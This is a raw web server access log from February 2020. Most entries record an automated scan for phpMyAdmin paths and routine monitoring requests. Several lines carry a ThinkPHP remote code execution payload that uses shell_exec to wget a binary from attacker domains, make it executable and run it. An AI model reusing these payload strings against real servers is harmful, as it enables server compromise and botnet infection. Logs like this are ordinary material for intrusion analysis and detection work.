111.230.248.96 - - [08/Feb/2020:14:54:24 +0100] "GET /phpMyAdmin4.8.1/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:24 +0100] "GET /phpMyAdmin4.8.2/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:24 +0100] "GET /phpMyAdmin4.8.3/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:24 +0100] "GET /phpMyAdmin4.8.4/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:25 +0100] "GET /phpMyAdmin4.8.5/index.php HTTP/1.1" 404 330 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:25 +0100] "GET /myadmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:26 +0100] "GET /myadmin2/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:26 +0100] "GET /xampp/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:28 +0100] "GET /phpMyadmin_bak/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:28 +0100] "GET /www/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:31 +0100] "GET /tools/phpMyAdmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:32 +0100] "GET /phpmyadmin-old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:32 +0100] "GET /phpMyAdminold/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:32 +0100] "GET /phpMyAdmin.old/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:33 +0100] "GET /pma-old/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:33 +0100] "GET /claroline/phpMyAdmin/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:33 +0100] "GET /typo3/phpmyadmin/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:34 +0100] "GET /phpma/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:34 +0100] "GET /phpmyadmin/phpmyadmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:34 +0100] "GET /phpMyAdmin/phpMyAdmin/index.php HTTP/1.1" 404 336 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:37 +0100] "GET /phpMyAbmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:37 +0100] "GET /phpMyAdmin__/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:38 +0100] "GET /phpMyAdmin+++---/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:38 +0100] "GET /v/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:38 +0100] "GET /phpmyadm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:39 +0100] "GET /phpMyAdm1n/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:39 +0100] "GET /shaAdmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:39 +0100] "GET /phpMyadmi/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:39 +0100] "GET /phpMyAdmion/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:40 +0100] "GET /s/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:40 +0100] "GET /MyAdmin/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:41 +0100] "GET /phpMyAdmin1/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:42 +0100] "GET /phpMyAdmin123/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:42 +0100] "GET /pwd/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:42 +0100] "GET /phpMyAdmina/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:43 +0100] "GET /phpMydmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:43 +0100] "GET /phpMyAdmins/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:43 +0100] "GET /phpMyAdmin._/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:43 +0100] "GET /phpMyAdmin._2/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:44 +0100] "GET /phpmyadmin2222/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:44 +0100] "GET /phpMyAdmin333/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:14:54:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
111.230.248.96 - - [08/Feb/2020:14:54:44 +0100] "GET /phpmyadmin3333/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:44 +0100] "GET /php2MyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:45 +0100] "GET /phpiMyAdmin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:45 +0100] "GET /phpNyAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:45 +0100] "GET /1/index.php HTTP/1.1" 404 316 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:46 +0100] "GET /download/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:46 +0100] "GET /phpMyAdmin_111/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:47 +0100] "GET /phpmadmin/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:47 +0100] "GET /321/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:47 +0100] "GET /123131/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:47 +0100] "GET /phpMyAdminn/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:48 +0100] "GET /phpMyAdminhf/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:48 +0100] "GET /sbb/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:49 +0100] "GET /WWW/phpMyAdmin/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:49 +0100] "GET /phpMyAdmln/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:49 +0100] "GET /phpMyAdmin_ai/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:49 +0100] "GET /__phpMyAdmin/index.php HTTP/1.1" 404 327 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:50 +0100] "GET /program/index.php HTTP/1.1" 404 322 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:50 +0100] "GET /shopdb/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:50 +0100] "GET /phppma/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:50 +0100] "GET /phpmy/index.php HTTP/1.1" 404 320 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:51 +0100] "GET /mysql/admin/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:51 +0100] "GET /mysql/dbadmin/index.php HTTP/1.1" 404 328 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:52 +0100] "GET /mysql/sqlmanager/index.php HTTP/1.1" 404 331 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:52 +0100] "GET /mysql/mysqlmanager/index.php HTTP/1.1" 404 333 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:52 +0100] "GET /wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php HTTP/1.1" 404 364 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:52 +0100] "GET /sqladmin/index.php HTTP/1.1" 404 323 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:53 +0100] "GET /sql/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:53 +0100] "GET /SQL/index.php HTTP/1.1" 404 318 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:53 +0100] "GET /websql/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
111.230.248.96 - - [08/Feb/2020:14:54:54 +0100] "GET /MySQLAdmin/index.php HTTP/1.1" 404 325 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.108 Safari/537.36"
73.5.248.186 - - [08/Feb/2020:14:54:55 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
111.230.248.96 - - [08/Feb/2020:14:54:57 +0100] "GET /manager/html HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/64.0.3282.140 Safari/537.36"
103.79.78.40 - - [08/Feb/2020:14:55:26 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
212.91.246.72 - - [08/Feb/2020:14:55:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.230 - - [08/Feb/2020:14:56:00 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [08/Feb/2020:14:56:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.230 - - [08/Feb/2020:14:57:16 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [08/Feb/2020:14:57:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
94.181.181.120 - - [08/Feb/2020:14:58:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:14:58:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:14:59:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.117.213.53 - - [08/Feb/2020:15:00:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:15:00:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.163.159.131 - - [08/Feb/2020:15:00:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
79.47.7.93 - - [08/Feb/2020:15:01:12 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
103.203.225.108 - - [08/Feb/2020:15:01:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [08/Feb/2020:15:01:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:15:02:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:15:03:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:15:04:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.230 - - [08/Feb/2020:15:04:55 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
195.178.102.98 - - [08/Feb/2020:15:05:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:15:05:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.0.196.128 - - [08/Feb/2020:15:05:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:15:06:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:15:07:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.230 - - [08/Feb/2020:15:08:27 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [08/Feb/2020:15:08:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
80.245.126.115 - - [08/Feb/2020:15:09:01 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
80.245.126.115 - - [08/Feb/2020:15:09:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:15:09:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.135.90.61 - - [08/Feb/2020:15:10:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:15:10:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:15:11:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:15:12:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.80.240.151 - - [08/Feb/2020:15:12:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [08/Feb/2020:15:13:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
168.232.13.42 - - [08/Feb/2020:15:14:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:15:14:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.190.172.45 - - [08/Feb/2020:15:15:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"
212.91.246.72 - - [08/Feb/2020:15:15:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.60.62.11 - - [08/Feb/2020:15:16:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
212.91.246.72 - - [08/Feb/2020:15:16:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:15:17:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:15:18:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:15:19:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:15:20:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [08/Feb/2020:15:21:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
